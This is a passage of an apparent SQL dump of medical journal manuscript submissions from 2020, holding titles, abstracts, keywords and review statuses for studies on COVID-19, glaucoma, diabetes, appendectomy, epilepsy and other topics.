India had total 17378 active cases till 24th of April 2020.  The study on novel coronavirus is still in the primary stage. Based on the current data, we summarize the epidemiology, clinical characteristics, pathogenesis, diagnosis, treatment and prevention of information regarding COVID-19. In this mini-review, we focused at inspecting the most recent trend of COVID-19 for helping the community recognize and deal with the 2019 novel coronavirus (SARS-Co-V-2019), some antiviral medicine like Lopinavir, Ribavirin, Chloroquine Phosphate is using for treatment of COVID-19 and providing a reference for forthcoming studies.',' COVID-19, SARS-CoV-2, WHO , Possibe  treatment',685,NULL,'2020-06-07',NULL,'Submitted',16,NULL,'2020-07-10',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4568,5777,45,0,'iphsj-20-4568','Self - reported quality of life among Primary Open Angle Glaucoma patients at the Guinness Eye Center Onitsha, Nigeria',NULL,11,0,NULL,'Objective: To evaluate the quality of life of newly diagnosed Primary Open Angle Glaucoma (POAG) patients at Guinness Eye Centre, Onitsha.\r\nMaterials and Method: The quality of life amongst newly diagnosed POAG patient’s aged ≥ 40 years was assessed with the National Eye Institute Visual Function Questionnaire 25 (NEI VFQ-25) questionnaire. Also obtained was information on the patients’ sociodemographic characteristics.\r\nResult: A total of 207 new POAG patients, aged 40 to 92 years (mean age of 61.0) responded. There were 95 males (45.9%) with 100 (48.3%) less than 60 years of age. These patients had a mean quality of life score of 66.6±27.1SD; and general vision had the least subscale score (40.6±23.4SD) while ocular pain subscale had the highest score (84.2 ± 20.6SD). The mean quality of life score for males and females were 63.5 ±29.3SD and 69.2 ±25.0SD respectively; while the mean quality of life scores for age group < 60 years and ≥ 60 years were 73.0 ±26.5 and 60.6 ±30.0SD respectively.\r\nConclusion: There was no difference in quality of life scores among gender (p=0.1). However quality of life scores were lower in patients≥ 60 years (p=0.001), rural dwellers (p=0.002), dependents (p=0.001) and those with non-formal education (p=0.001). Patients in this study report a moderate quality of life score. Likely factors that may be responsible for reduction in quality of life should be explored in this group. \r\n','Quality of life, Primary Open Angle Glaucoma, National Eye Institute Visual Function Questionnaire 25 (NEI VFQ-25) ',3610,NULL,'2020-06-07',NULL,'Submitted',16,NULL,'2020-06-27',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4575,5784,86,0,'ipaom-20-4575','Comprehensive review on new approches for manegment of dibeties ',NULL,15,0,NULL,'Diabetes is a metabolic issue. It is worldwide commonness and genuine social monetary emergency to the nations around the globe. The sickness keeps on troubling a few segments, particularly center and low pay nations. The current patterns show the ascent in unexpected passing, representing a significant danger to a worldwide turn of events. Logical and innovative advances have seen the improvement of more up-to-date age of medications like sulphonylureas, biguanides, alpha-glucosidase inhibitors, and thiazolidinediones with huge adequacy in decreasing hyperglycemia. Late methodologies in sedate disclosure have added to the improvement of an extra class of therapeutics like incretin mimetic, Amylin analogs, GIP analogs, Peroxisome proliferation enacted receptors, and dipeptide peptidase-4 inhibitor as focuses for potential medications in diabetes treatment. In this way, the distinguishing proof and clinical examination of bioactive substances from plants have altered the exploration on tranquilize revelation and lead ID for diabetes the executives. With an attention on the rising patterns, the survey article investigates the flow of factual commonness of the ailment, examining the advantages and confinements of the monetarily accessible medications. Also, the basic regions in clinical Diabetology have talked about regarding possibilities of statins, nanotechnology, and undifferentiated cell innovation as groundbreaking therapeutics and why the natural details are reliably mainstream decision for diabetes medicine and the executives',' Diabetes, Nanotechnology , Stem cell therapy , Herbal therapy, Statin therapy,  Gene therapy',1639,NULL,'2020-06-08',NULL,'Submitted',2,NULL,'2020-07-20',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(4580,5788,639,0,'ipfs-20-4580','Can canned tuna improve cardiovascular health? Study of the effect of consumption of a functional food developed from Thunnus albacares on the lipid profile',NULL,17,0,NULL,'Cardiovascular diseases (CVD) and the cost of treatment pose a threat to society at large.Omega 3s are a type of polyunsaturated fatty acid necessary for the proper functioning of the body and that improves levels of lipoproteins (VLDL, HDL, LDL and triglycerides) in the blood.\r\nAmong the omega 3 are eicosapentanoic acid (EPA) and docohexanoic (DHA), whose main sources are fatty fish such as tuna, mackerel and salmon, and the oil obtained from these species that is used as a nutritional supplement (nutraceutical).There are three basic pathways for the metabolism of omega 3 polyunsaturated fatty acids (AGPI) that occur during and after absorption .\r\nThe best known effect of omega 3 is hypolipemia (1). Triglycerides are a risk factor in cardiovascular disease. Studies indicate that dha and EPA intake reduce postpandrial increase in triglycerides (2).\r\nThe reducing effect on triglyceride concentrations of omega 3 is due to their ability to reduce hepatic synthesis of triglycerides and very low density lipoproteins (VLDL) as the EPA and DHA are bad substrates for enzymes involved in the synthesis of triglycerides making it difficult to synthesis low-density lipoproteins involved in the transport of triglycerides (3).\r\nThe ability of omega 3s to increase betaoxidation of fatty acids by hepatic peroxisomes cause the synthesis of VLDL to decrease, they are able to inhibit the enzyme acil-CoA:1.2-diaglycerol acylgasispher that is involved in the synthesis of triglycerides (3).\r\n','Fisheries',1770,NULL,'2020-06-08',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'1','I accept this article to publish in our journal',0,'','',NULL,0,0,0,NULL,0),(4585,5794,86,0,'ipaom-20-4585','Correlation between new daily covid-19 cases,new daily death cases and Google trends for masks among Algeria.',NULL,17,0,NULL,'The absence of effective drugs and vaccines against covid-19 lead algerian population to give more importance to hand hygiene and masks for reducing the transmission of Covid-19.These interventions were recommended  by Algerian health authorities for fighting covid-19 outbreak.\r\nAlgerian population used internet as a source of knowledge .We used google trends relative searches volumes (RSV) of terms like ”masques de protection” translated by masks from March 1st to March 31,2020.We search the correlation between the daily new covid-19 cases,daily new death and the google RSV trends concerning  “masques” from March 1st to march 31,2020..\r\n','Google trends; Masks; daily;death; covid-19. ',3031,NULL,'2020-06-08',NULL,'Submitted',2,NULL,'2020-07-07',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(4589,5798,45,0,'iphsj-20-4589','Covid-19 and Frontline Problems in Iran: Appreciate Medical Staff',NULL,9,0,NULL,'In early December 2019, the first cases of pneumonia of unknown origin were identified in Wuhan, the capital city of Hubei Province. Reports indicate that at least 2070 people have been infected with the Covid-19 since the outbreak began in February, which represents 1.7 percent of all cases reported, and 126 of them have lost their lives, which including 6% of all medical staff Infected by COVID-19. Tehran province with 18% mortality of medical staff has the highest mortality rate of medical staff due to this disease.\r\nIt seems COVID-19 during global epidemics does not seem to be the only risk, and medical staff is increasingly facing burnout caused by excessive pressure in a healthcare system. familiarity with the three words emotional exhaustion, personality metamorphosis, and decreased sense of self-sufficiency can be helpful in examining burnout.\r\nIn Iran, ordinary people rushed to the aid of medical staff, and in many hospitals, we saw dancing to increase the morale of nurses and patients. In some hospitals, clerics went to hospitals to comfort nurses and patients, and these whites have been dubbed \"health advocates\" in society.\r\n Ministry of Health and Medical Education of Iran has also provided financial rewards to increase the motivation of the medical staff, and many of its contract employees have been hired, creating protocols and places for food and a rest area in the hospital. Some staff has been removed from the COVID-19 front line due to pregnancy or underlying illness, and Coronavirus testing is frequently performed on the medical staff.\r\n','COVID-19, medical staff, Frontline',686,NULL,'2020-06-09',NULL,'Submitted',14,NULL,'2020-07-23',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4604,5815,91,0,'ijddr-20-4604','THE EFFECT OF OZONATED ALOE VERA OIL ON NEUTROPHIL COUNT AND WOUND DIAMETER IN SPRAGUE DAWLEY RATS WITH FULL-THICKNESS SKIN DEFECT',NULL,14,0,NULL,'Introduction: Wounds fatality is possible on instances where treatment is not properly conducted. Moreover, Aloe Vera possesses anti-microbial activities, while ozone has bactericidal and antioxidant effects. This study is, therefore, aimed at assessing the number of neutrophils and the diameter of full-thickness wounds, following the multilevel dose administration of ozonated aloe vera oil.\r\nMethods: This is an experimental study, based on a post-test only control group design, with treatment and control groups. A total of 50 Sprague Dawley rats (250 ± 50 grams) were randomly divided into 10 units, and each category was administered the control preparations (aloe vera oil, gentamicin ointment), and treatment with ozonated aloe vera oil at varied dose of 600, 1200, and 1800 mg/ml. Subsequently, five groups (P1, P2, P3, P4, P5) were terminated on the 3rd day, while the remaining five (P6, P7, P8, P9, P10) were euthanized on the 7th day. The neutrophil counts were obtained after histological examination with Hematoxylin Eosin (HE) stain, while the wound diameter was measured using callipers. \r\nResults: There were significant differences between the control and treatment groups. This was evidenced in the decreased neutrophil count after administering ozonated aloe vera oil at a dose of 1800 mg/ml, compared to 1200 and 600 mg/ml, and also aloe vera oil and gentamycin ointment. Furthermore, wound diameter was substantially reduced with all ozonated treatments, than the aloe vera oil and gentamycin treatments.\r\nConclusion: Ozonated aloe vera oil is characterized by the capacity to improve wound healing \r\n\r\n','Full-thickness defect wound healing, Sprague Dawley, Ozonated aloe vera oil',2427,NULL,'2020-06-09',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0',NULL,0,'','',2,0,0,0,NULL,0),(4607,5818,86,0,'ipaom-20-4607','WiFi Calling system in Ophthalmology Clinics in Saudi Arabia ',NULL,15,0,NULL,'WiFi Calling system in Ophthalmology Clinics in Saudi Arabia \r\nIntroduction: Digital technology is playing a significant role in healthcare systems. This novel technology is proved to have a significant clinical benefit in the diagnosis and management of different medical specialties. However, it is still unclear if digital technology can have a clinical impact when applied to the operational system of hospitals. \r\nObjective: The goal of this study is to explore the significance of using one of the applications of digital technology, WiFi patient calling system in ophthalmology clinics, compared to conventional calling systems.\r\nMethods: The study included two steps; the first step was using the traditional calling system on one random day in the ophthalmology clinic. The second step was applying the WiFi patient calling system in another day in the same clinic and observing the differences in nurse and patients number standing in front of the clinic reception during time line every half hour.  between the two days. 30 patients were included in the first day and same number in the second day.\r\nResults:  The average number of patients required an equivalent average number of nurses in the conventional calling system. On the other hand, the average number of nurses required a similar number of patients was lower in the WiFi calling system day. Additionally, the average number of doctors required for the WiFi calling system was lower compared to the conventional calling system.\r\nConclusion: The WiFi patient calling system can have time and cost-saving benefits and save the workforce of healthcare professionals for more critical clinical duties.\r\n','',1639,NULL,'2020-06-10',NULL,'Submitted',2,NULL,'2020-07-07',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(4608,5819,86,0,'ipaom-20-4608','Retrospective analysis of operative outcome of appendectomy',NULL,14,0,NULL,'OBJECTIVES: 1. To correlate the different diagnostic features of Acute Appendicitis (AA) 2. To correlate different intra-operative findings during appendectomy and to analyse the operative outcome in the follow-up period. BACKGROUND: Appendicitis is the most common surgical disease with appendectomy being the traditional treatment of choice. Different operative procedures exist for appendectomy METHODS: This is a retrospective study done between January 2018 till June 2019 in a tertiary care hospital of Central India. A total of 634 operative patients were analysed with AA as diagnosis. Choice of appendectomy, whether laparoscopic or open, was based on clinical judgement of operating surgeon. Data was analysed with of Open Epi version 2.3 and p-value <0.05 was considered significant. RESULTS: Out of 634 patients, 418 and 216 were operated via open and laparoscopic approach respectively. Most common symptom was pain in right iliac fossa (94.63%). 18.18% had perforation while 26.38% had inflamed appendix. Histopathological assessment showed that 8.3% and 2.87% had suppurative and gangrenous appendicitis respectively. 23.82% of the open cases reported with surgical site infection (SSI). No SSI were reported in the laparoscopic group. Post-op duration for open and laparoscopic appendectomy was 4.91±0.86 and 2.98±0.76 (p-value = 0.04150) and was found to be statistically significant. CONCLUSIONS: Open appendectomy is considered safe and effective but associated with complications such as ileus, intestinal obstruction, wound sepsis etc. Laparoscopic appendectomy with high accuracy and low complication rate has emerged as the modus operandi for treatment of AA.           \r\n\r\n\r\n','',3326,NULL,'2020-06-10',NULL,'Submitted',2,NULL,'2020-07-18',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(4610,5823,86,0,'ipaom-20-4610','Outcome of Traumatic Cervical Spinal Cord Injury in a general ICU: A 5 - year review',NULL,14,0,NULL,'INTRODUCTION\r\nIntensive care management is essential for monitoring, mechanical ventilation and inotropic support as part of the overall management of patients with cervical spinal cord injury. This study aimed to determine the outcome and factors affecting the outcome of patients with traumatic cervical spinal cord injury (TCSCI) admitted into a general Intensive Care Unit (ICU).\r\nMETHODS: \r\nThis was a retrospective study of 32 patients with TCSCI admitted into general ICU of University College Hospital from January 2015 to December 2019. The information retrieved included patient´s demographic characteristics, etiology of injury, level of injury, inotrope use, ventilator use, ICU days and outcome. Descriptive statistics was used to get proportion of demographic characteristics while association between outcome mortality and demographic and clinical parameters was determined with chi square test and the level of significance was set at P < 0.05.\r\nRESULTS:\r\nThere were 25 (78.1%) males and 7 (21.9%) females. The patients age range from 7 to 77 years with a mean age of 38.2±16.16. Motor vehicular accident accounted for 87.5% of cervical injury. Cervical spinal injury level at C3 was in 18 patients, C4 in 11 patients and C5 in 3 patients. Five patients had other associated injury (head injury in 2 patients, humeral fracture in 2 patients and ribs fracture in one patient). Fifteen patients died with a mortality rate 46.9%. Mortality was more in females (71.4%) (P=0.141) and in patients aged less than 30 (55.6%) (P=0.58). Patients who stayed less than 7 days in ICU, those who were mechanically ventilated and those who had inotropic support had poor outcome in ICU (P=0.04, P=0.006 & P= 0.001) respectively. \r\nCONCLUSION: \r\nThe mortality in patients with cervical spine injury was high in our center.  Shorter length of ICU stay, use of mechanical ventilation and inotropic support were significant risk factors contributing to mortality.\r\n\r\n','Keywords:  Traumatic cervical spinal cord injury, mortality and Intensive Care Unit',409,NULL,'2020-06-10',NULL,'Submitted',2,NULL,'2020-07-07',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(4618,5522,251,0,'ipacm-20-4618','The Seroepidemiology of Helicobacter Pylori infection in Mardan, Pakistan',NULL,14,0,NULL,'The current study was aimed to observe the prevalence of Helicobacter pylori infection at District Mardan with respect to their gender and age groups. The blood samples were collected from all the subjects who attended the OPD at Mardan Medical Complex. All these samples were screened for the presence of antibodies against H. Pylori through a rapid antibody assay. Positive and negative cases were recorded based on the test results and prevalence was measured keeping in mind the selected parameters in individuals of each group. A total of 4312 people were included in the study, out of which 2586 were males and 1726 were females. Majority of the patients were in the mature age group. Based on our results, there were 125 males demonstrating a prevalence of 4.83% which is slightly higher than 4.66% prevalence of 77 females infected. Comparisons were made based on gender and age groups and data presented in the form of figures and tables. Monthly wise prevalence has also been shown. Moreover, prevalence was higher in the people aged 19-44 and lowest in immature ones. However, the overall prevalence in the subjects was 4.68% for the span of 4 months.','Helicobacter pylori; Seroepidemiology; Prevalence; Pakistan.',783,NULL,'2020-06-10',NULL,'Submitted',4,NULL,'2020-07-17',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(4623,5838,277,0,'ipadm-20-4623','PROPUESTA INTEGRAL PARA PREVENCIÓN Y CONTENCION DE LA PROPAGACION DEL SARS-CoV 2 “Covid 19”',NULL,15,0,NULL,'\r\nEl objetivo del presente estudio es generar una propuesta que sirva en el presente y  futuro para prevención de la epidemia actual y  brotes con agentes etiológicos similares al actual y al presente para el desarrollo de algunas acciones y por tanto la contención de la epidemia. Desarrollamos una búsqueda de información científica usando las bases de datos de Pubmed, Scielo y Google Scholar usando las palabras claves: diagnostico, epidemiologia, fármacos, vigilancia, distanciamiento, cuarentena, aislamiento, modelo matemático, cierre de fronteras, higiene, desinfectantes, protección personal, información y todos anexados a las palabras Covid 19 y SARS-CoV2. Además, se anexo información de documentos oficiales en el marco del estudio, así como la opinión de expertos. Así también se definió las medidas propuestas encontradas en los estudios y propuestas por los expertos en el marco de escenarios en función al riesgo de casos y presencia del Covid 19 en el país en la que el caso 1  es “sin casos”, caso 2 “ paciente cero” y caso 3 “ brote establecido”. Se pudo encontrar datos científicos en un marco integral respecto a medidas diagnosticas, vigilancia epidemiológica, higiénica, distanciamiento, protección personal, aislamiento, información, cierre de fronteras, fármacos y modelamiento matemático. Las medidas encontradas se interrelacionan entre si para ejercer un efecto optimo y deben ser ejecutadas en forma integral enfatizando estas se apliquen en escenarios tempranos como el escenario 1 donde aun no ay casos en el país. \r\n','Infección por Coronavirus, Brotes, Vigilancia, Escenarios, Plan Integral.',2707,NULL,'2020-06-11',NULL,'Submitted',2,NULL,'2020-07-20',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4624,5839,996,0,NULL,'Adhesive capsulitis: Prospective observational multi-center study on the Niel-Asher technique (NAT)',NULL,3,0,NULL,'Objective: To evaluate “The Niel-Asher Technique (NAT)” for adhesive\r\ncapsulitis.\r\nMethod: Prospective observational multi-center study.\r\nSubjects: 154 patients (113 from Israel, 25 from the UK and 16 from the US) with\r\npain, stiffness and globally restricted gleno-humeral mobility shoulder for more\r\nthan three months.\r\nOutcome measures: Change in active range of motion (AROM) Flexion and Abduc-\r\ntion of the gleno-humeral joint measured by a goniometer; changes in pain as eval-\r\nuated by the patients on a linear Visual Analogue Scale (VAS). Analysis was based on\r\nthe intention-to-treat principle.\r\nResults: Multivariate repeated measures analysis of covariance indicated that\r\nthere was a significant improvement in AROM abduction and flexion across time,\r\nwith no interaction between time and phase of illness (acute/stiff/resolving).\r\nThe improvement in range of motion was significantly more pronounced in patients\r\nfrom Israel compared to the UK and US. Similarly, among patients from Israel, large\r\nand statistically significant reduction in the VAS pain score between baseline and\r\npost-treatment assessments was observed.\r\nConclusions: All patients demonstrated a significant improvement in AROM for both\r\nflexion and abduction. The data supports the notion that NAT is autonomously repro-\r\nducible. NAT demonstrated significant improvement in AROM for both flexion and abduction with a consistent average of twelve degrees improvement per treatment\r\nsession. The mean number of treatments was 7. NAT expedites both pain reduction\r\nand increased mobility for adhesive capsulitis over and above the natural history.','Adhesive capsulitis;\r\nFrozen shoulder\r\nsyndrome;\r\nNiel-Asher technique;\r\nNAT;\r\nOsteopathy;\r\nOutcome;\r\nStiff and painful\r\nshoulder;\r\nPeriarthritis of the\r\nshoulder;\r\nBorborygmus',3649,NULL,'2020-06-11',NULL,'Submitted',4,NULL,'2020-12-02',NULL,1,0,'1',NULL,0,'102','anjali_r@omicsgroup.co.in',NULL,0,0,0,NULL,0),(4625,5840,996,0,NULL,'Using the gekoâ„¢ device to prevent oedema and promote functional activity following foot surgery',NULL,2,0,NULL,' She reports with clinically and radiologically confirmed hallux rigidus of the right 1\r\nst Metatarsophalangeal\r\n(MTP) joint with a large dorsal osteophyte which is impinging, causing pain and restricting dorsiflexion of\r\nthe great toe. Walking is painful and restricted by this. She does not have any rest or night pain.\r\nThere is evidence of joint space narrowing and subchondral sclerosis and osteophyte formation.\r\nThe patient will benefit from a 1\r\nst MTP joint debridement to provide her with more movement, pain relief\r\nand conservation of the joint.\r\nRationale for treating with the gekoâ„¢ device\r\nHallux Rigidus is one of the most common causes of forefront pain\r\n1\r\n. The aim of surgery was to relieve\r\npain, improve movement and achieve conservation of the joint. Surgery to correct Hallux Rigidus is a\r\nlargely successful operation2\r\n, with good or excellent results in 97% of patients\r\n2\r\n.\r\nHowever, patients are advised that the foot and ankle may be swollen for three months or longer post surgery.\r\nThe gekoâ„¢device was therefore chosen as a treatment modality to help accelerate the reduction of\r\noedema and also to increase blood flow. This is because Neuromuscular Electro-stimulation (NMES)\r\nhas been found to be effective at increasing venous flow and reducing oedema in the lower limb. The\r\nsmall size and portability of the gekoâ„¢device means that it is ideal for providing treatment to patients\r\ncontinuously throughout the day whilst they are active and at rest. The gekoâ„¢device is effective at\r\nproviding up to 60% of the blood flow achieved with maximal effort dorsiflexion movements\r\n4','Gekoâ„¢device,NMES',3650,NULL,'2020-06-11',NULL,'Submitted',4,NULL,'2020-12-02',NULL,1,0,'1',NULL,0,'102','anjali_r@omicsgroup.co.in',NULL,0,0,0,NULL,0),(4629,5844,73,0,'ipjnn-20-4629','Cross-subject and cross-paradigm learning using convolutional neural network for P300 event-related potential detection. ',NULL,14,0,NULL,'Background\r\nP300 Speller systems conventionally are using an oddball pattern which results in P300 component. By using the P300 component, mentally disabled can spell different characters. One of the most disadvantages of ERP-based BCI systems, especially P300 spellers, is the need for a large amount of training data which is time-consuming and exhausting for users.\r\n New method\r\nThe goals are to evaluate the possibility of Transfer Learning (TL) implementation using the fine-tuning technique on convolutional neural networks (CNN) by two different approaches: 1) Cross-Subject, and 2) Cross-Paradigm. In cross-subject, data of individual paradigm cross different subjects and in cross-paradigm, data of individual subject cross different paradigms were applied. \r\nResults\r\nThe final results illustrate that the amount of network training data is reduced up to 75 percent. Furthermore, the average of character detection accuracy using CNN is increased 11.76%, 13.95% and 13.51% in cross-subject TL in comparison to LDA classifier for single, dual and triple paradigms respectively. Also, such accuracy is increased by 6.76%, 10.95% in cross-paradigm TL in comparison to LDA classifier for dual and triple paradigms respectively.\r\nComparison with existing methods\r\nCross-subject and the novel cross-paradigm suggested in this study reduce the amount of needed training data in comparison to existing subject-dependent methods. In addition, the performance overall was improved against LDA in TL condition. \r\nConclusions\r\nOverall in cross-subject and cross-paradigm TL approach using CNN, character detection accuracy was improved in comparison to LDA and the amount of training data was decreased significantly.','Convolutional Neural Network (CNN), Brain-Computer Interface (BCI), Event-Related potential, P300 speller, RSVP (Rapid Serial Visual Presentation)',3654,NULL,'2020-06-11',NULL,'Submitted',2,NULL,'2020-09-09',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(4634,5850,959,0,NULL,' Roles Biomarkers in Basic and Clinical Research for Breast Cancer',NULL,15,0,NULL,'Irritation assumes a critical part in numerous sorts of growth and is known not\r\nincluded in their introduction and advancement. In this way, it is in a matter of\r\nseconds perceived as an imperative danger element of a few sorts of diseases, for\r\nexample, “bladders, prostate and breast” growths. The disclosure of a novel strategy\r\nfor recognition breast malignancy infection in the research facility furthermore in\r\nmitigating mixes can have enormous ramifications for the treatment of growth as\r\nwell as preventive and defensive treatment modalities. Breast growth is the most\r\nregularly analyzed malignancy and the second driving reason for tumor-related\r\npassing’s. Enhanced comprehension of breast tumourigenesis may improve the\r\nadvancement of more powerful treatments. The clinical and obsessive quality of\r\nthis breast growth subtype is not yet entirely caught on. This study was given a\r\nprogression of essential, preclinical and clinical studies. As a hopeful biomarker\r\nof reaction to breast malignancy, we accepted this perception-response of tumor\r\ncells in breast disease.','Biomarker, Breast cancer, Clinical laboratory, Early detection, BRCA 1and 2',3142,NULL,'2020-06-12',NULL,'Submitted',4,NULL,'2020-06-12',NULL,1,0,'0',NULL,0,'','',2,0,0,0,NULL,0),(4636,5852,86,0,'ipaom-20-4636','RELATIONSHIP BETWEEN VENTRICULOPERITONEAL SHUNT OBSTRUCTION AND INFECTION IN PEDIATRIC PATIENTS WITH HYDROCEPHALUS',NULL,14,0,NULL,'Objectives. The most common ventriculoperitoneal shunt (VPS) complications in pediatric patients include shunt infections and obstructions. This study evaluated the relationship between shunt infection and obstruction in pediatric patients who underwent VPS placement for hydrocephalus at our clinic.\r\nMethods. A total of 210 patients aged 16 years and under who were diagnosed with hydrocephalus and underwent VPS placement performed by the same surgeon between January 2012 and June 2017 were followed up for a minimum of 1 year and evaluated retrospectively. Patients’ clinical and laboratory findings were evaluated, and computed tomography and magnetic resonance imaging were performed. Data were statistically analyzed using Pearson’s chi-square and Fisher–Freeman–Halton tests.\r\nResults. Shunt complications developed in 86 (40.9%) of the 210 patients. Shunt infections developed in 41 (19.5%), shunt obstructions in 53 (25.2%) (non-infection-related in 31 and infection-related in 22) and other complications in 14 (6.6%) of the 210 patients. The infection rate in patients in whom VPS placement was performed from the frontal region was lower than that of patients in which it was performed from the occipitoparietal region (16.6% vs. 43.5%; p= 0.005). The obstruction rate was significantly higher in patients with shunt infection than in those without (53.6% vs. 18.24%; p <0.001). Obstruction occurred in approximately half of the patients with no growth in the cerebrospinal fluid culture and one-third of the patients with Staphylococcus epidermidis infection among patients with a shunt infection.\r\nConclusion. The obstruction rate in patients with shunt infection was three times higher than that in patients without. Considering that shunt infection may accompany obstruction, it would be appropriate to make the decisions regarding the treatment method for patients with shunt obstruction, after determining whether there is a shunt infection.\r\n','Hydrocephalus, Infection, Ventriculoperitoneal shunt',3641,NULL,'2020-06-12',NULL,'Submitted',4,NULL,'2020-07-14',NULL,1,1,'0','Send for revision',0,'','',2,0,0,0,NULL,0),(4637,5853,326,0,'IPJUS-20-4637','Ovarian sclerosing stromal tumour: a challenging diagnosis during pregnancy',NULL,2,0,NULL,'Ovarian sex cord-stromal tumours differ clinically and morphologically from epithelial tumours. A small number of cases are reported during pregnancy, making diagnosis difficult. We present a case of a 23-year-old healthy nulliparous woman with left-flank abdominal pain for 4 weeks associated with a 20-centimetre painless abdominal mass. Pregnancy had evolved normally until that point. Due to a rise in inflammatory parameters, the differential diagnosis first pointed to an infectious process. The absence of resolution with antibiotic therapy associated with the radiological aspects (consistent with a mesenteric, intestinal or ovarian tumour) required surgical investigation. A caesarean was performed at 34 weeks of gestation; excision of the tumour was carried out, the origin of which was extremely difficult to determine. Histological examination was the key to a definitive diagnosis and clinical follow-up.','ovarian neoplasms; sex cord-stromal tumour; pregnancy',2505,NULL,'2020-06-12',NULL,'Submitted',2,NULL,'2020-07-31',NULL,1,1,'0','This article is now accepted.',0,NULL,NULL,NULL,0,0,0,NULL,0),(4641,5856,45,0,'iphsj-20-4641','Knowledge Attitude and Practice towards PMTCT among Male Partner of Pregnant Women',NULL,14,3,NULL,'Objective: to asses knowledge attitude and practice among male partner of pregnant women attending in Shegaw Motta primary Hospital east Gojjam zone Amhara Ethiopa 2018 \r\nResult: from the total population 46.2% of the respondents had good knowledge. but 16.3% of the respondents had poor knowledge. 55.6% of the respondents had positive attitude and 44.4 % of the respondents had negative attitude towards MTCT and PMTCT of HIV AIDS. 81.5% of the respondents had low level of involvement and 18.5%  of the respondents had high level of involvement towards MTCT and PMTCT. \r\nConclusion: majority of the respondents had good knowledge and pasitive attitude to wards MTCT and PMTCT. but majority of the respondents had low level of involvement to wards MTCT and PMTCT.  ','knowledge,attitude and practice ',643,NULL,'2020-06-12',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4659,5874,975,0,'ipjbs-20-4659','Relationship between Platelet Indices and Coronary Heart Disease in Malaysian population',NULL,17,0,NULL,'Coronary heart disease (CHD) a major cause of mortality worldwide and in Malaysia. Early screening and diagnosis reduces the mortality rate of this disease by 15–30%. CHD is caused by atherosclerosis and platelets have been found to play a major role in the development of atherosclerotic lesions. Although other biomarkers exist for CHD, platelet indices can be detected earlier and are routinely available. Hence this project was undertaken to study the relationship between platelet indices and CHD, as well as to find the diagnostic significance of platelet indices by comparing with other inflammatory biomarkers of CHD. This is a case control study carried out from July 2019 to September 2019, at the National Heart Institute, Kuala Lumpur, Malaysia. The study population consisted of 100 normal control subjects and 100 case study subjects. Once eligibility was confirmed, patient data was filled in the case study forms, while the observational laboratory data consisting of platelet indices, were collected from the Sysmex XN-1000 analyzer. Statistical analysis was then carried out using the SPSS 16.0 Software, whereby an independent sample t-test was done and a p-value of less than 0.05 was considered statistically significant. Results showed that the levels of PDW, MPV and P-LCR were increased significantly (p-value less than 0.05) in CHD patients, while the levels of PC and PCT between the two groups showed no statistically significant difference. Nevertheless, it was found that these elevations could also be due to other risk factors, such as gender, smoking, Diabetes Mellitus, and hypertension. Hence, further research should be carried out to study the potential mechanisms behind the increase of platelet indices levels as a result of CHD alone, as it has the potential to be a beneficial risk predicting factor for CHD. ','Coronary Heart Disease (CHD), platelet count (PC), platelet distribution width (PDW), mean platelet volume (MPV), platelet larger cell ratio (P-LCR), and plateletcrit (PCT).',3460,NULL,'2020-06-13',NULL,'Submitted',2,NULL,'2020-06-23',NULL,1,1,'0','proceed for publication',0,'','',NULL,0,0,0,NULL,0),(4665,5880,73,0,'ipjnn-20-4665','Non-epileptic paroxysmal states in epilepsY',NULL,14,0,NULL,'Abstract \r\n\r\nIntroduction: Differential diagnosis of epileptic and non-epileptic paroxysmal disorders is one of the most difficult diagnostic problems in Epileptology. A frequent combination of epileptic and non-epileptic seizures in a patient makes the diagnosis particularly difficult. As a rule, 30% of patients with verified epilepsy have non-epileptic seizures as well (both psychogenic and organic ones). Non-epileptic paroxysmal events may mimic epilepsy. The duration, place, timing of the attacks, and state of conciousness may confuse pediatricians about the diagnosis of epilepsy and non epileptic paroxysmal events. \r\nDifferential diagnoses of paroxysmal event may include:\r\nSyncope\r\nCardiogenic\r\nCough\r\nMigraine (confusional): Time of course is usually longer than most complex partial seizures; EEG is normal during event.\r\nMetabolic disorders: Hypoglycemia, hypocalcemia, and rapid sodium shifts can all cause non-epileptic seizures.\r\nParoxysmal vertigo\r\nGER in infancy/childhood: Some patients may have actual seizures due to anoxia when the child aspirates. More commonly, they have chewing, mouthing movements when refluxing that look like complex partial seizures. This is easily distinguished using EEG and pH probe monitoring and resolves with anti-reflux medications. May patients also have arching with torticollis and dystonic posturing due to reflux, particularly observed in neurologically abnormal children (Sandifer\'s syndrome).\r\nThe symptoms of epileptic seizures are diverse. As a result, disorders that might be considered in the differential diagnosis will vary depending on the patient\'s specific clinical presentation. Clearly, not all of these disorders are considered in any one patient. Nonepileptic paroxysmal events that can be mistaken for epilepsy also differ significantly by age group\r\n\r\nThe purpose of the study is to determine the frequency and nature of non-epileptic paroxysms in patients with long-term epilepsy.\r\n\r\nMethods: The studies were conducted on the basis of the analysis of clinical symptoms and instrumental studies. EEG, EEG-video monitoring and MRI were used as the screening methods.\r\nResults: The analysis of the data of 300 patients aged 20 to 65 with verified epilepsy revealed that in 78 patients with long-term epilepsy some paroxysmal non-epileptic states were observed: conversion, abstinence paroxysms, syncope conditions, panic attacks, sleep disorders.\r\n     In patients aged 18 to 25 conversion paroxysms (5 persons, 6%) and sleep disorders (4 persons, 5%) prevailed. Young aged patients (25 to 44 years) had paroxysmal states (30 persons, 39%), insomnia (8 persons, 10%) and abstinence paroxysms (8 persons, 10%). For the patients aged 45 to 60 panic attacks (23 people, 30%) were more common.\r\n     In patients with syncope condition the EEG revealed some bilaterally synchronous flashes of theta waves on the background of the dominant 